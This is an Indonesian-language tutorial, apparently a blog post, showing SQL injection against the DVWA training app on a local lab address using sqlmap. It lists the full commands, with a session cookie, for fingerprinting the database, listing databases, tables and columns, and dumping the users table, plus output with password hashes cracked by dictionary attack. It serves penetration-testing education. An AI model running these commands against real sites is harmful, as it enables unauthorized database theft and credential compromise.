DVWA: Exploit menggunakan sqlmap

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Sumber: https://pentestlab.wordpress.com/2012/11/24/owning-the-database-with-sqlmap/

URL DVWA yang di serang

http://192.168.0.100/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#

Enumerating database (-f)

sqlmap -u "http://192.168.0.100/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=mgpoe8u061npgiv233q2ved227" -f 

Hasilnya kira-kira

[09:38:21] [INFO] executing MySQL comment injection fingerprint
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: active fingerprint: MySQL >= 5.5.0
               comment injection fingerprint: MySQL 5.7.11
               html error message fingerprint: MySQL


Fingerprinting database (-b)

sqlmap -u "http://192.168.0.100/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=mgpoe8u061npgiv233q2ved227" -b

Hasilnya kira-kira

[09:41:30] [WARNING] reflective value(s) found and filtering out
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL 5
banner:    '5.7.11-0ubuntu6'

List databases (--dbs)

sqlmap -u "http://192.168.0.100/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=mgpoe8u061npgiv233q2ved227" --dbs

Hasilnya kira-kira

[09:48:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5
[09:48:29] [INFO] fetching database names
available databases [5]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys


Cek tables di Database (-D namadatabase --tables)

sqlmap -u "http://192.168.0.100/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=mgpoe8u061npgiv233q2ved227" -D dvwa --tables

Hasilnya kira-kira

09:50:45] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5
[09:50:45] [INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

Lihat struktur data sebuah tabel (-T namatabel --columns)

sqlmap -u "http://192.168.0.100/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=mgpoe8u061npgiv233q2ved227" -T users --columns

Hasilnya kira-kira

[09:52:30] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

Dump Password (-C password --dump)

sqlmap -u "http://192.168.0.100/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=mgpoe8u061npgiv233q2ved227" -C password --dump


Hasilnya kira-kira,


Database: dvwa
Table: users
[5 entries]
+---------------------------------------------+
| password                                    |
+---------------------------------------------+
| 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| e99a18c428cb38d5f260853678922e03 (abc123)   |
+---------------------------------------------+

[09:54:53] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.100/dump/dvwa/users.csv'


Atau yang lebih lengkap dapat menggunakan perintah

sqlmap -u "http://192.168.0.100/DVWA-1.9/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=mgpoe8u061npgiv233q2ved227" -D dvwa -T users --dump
Hasilnya kira-kira,
Database: dvwa
Table: users
[5 entries]
+---------+----------------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar                                                   | user    | password                                    | last_name | first_name | last_login          | failed_login |
+---------+----------------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1       | http://192.168.0.100/DVWA-1.9/hackable/users/admin.jpg   | admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2017-04-17 19:15:11 | 0            |
| 2       | http://192.168.0.100/DVWA-1.9/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2017-04-17 19:15:11 | 0            |
| 3       | http://192.168.0.100/DVWA-1.9/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2017-04-17 19:15:11 | 0            |
| 4       | http://192.168.0.100/DVWA-1.9/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2017-04-17 19:15:11 | 0            |
| 5       | http://192.168.0.100/DVWA-1.9/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2017-04-17 19:15:11 | 0            |
+---------+----------------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+

Seperti yang bisa kita lihat dari gambar di atas sqlmap berhasil menghack password hash pada kolom password dan berhasil memecahkannya dengan menggunakan dictionary attack. Sekarang kita punya dan password bersama dengan username dari pengguna DVWA yang berarti database dan aplikasi tersebut telah jebol sepenuhnya.

Penutup

Dalam tutorial ini kita melihat seberapa efektif alat sqlmap ketika kita harus mengidentifikasi dan memanfaatkan kerentanan injeksi SQL. Tentu saja cara yang tepat untuk memanfaatkan kerentanan SQL Injection secara manual. Namun dalam banyak tes penetrasi karena kendala waktu penggunaan sqlmap adalah perlu.

Khususnya dalam hal ini sqlmap berhasil mengemerasi database dengan sukses dan mengekstrak data dari tabel database dengan sangat cepat. Tentu saja sqlmap memiliki lebih banyak kemampuan seperti itu yang bisa mengecek adanya WAF (Web Application Firewall), IDS dan IPS. Karena bisa menjalankan perintah sistem operasi. Untuk semua alasan ini alat ini harus berada di toolkit setiap penetrasi tester.


Referensi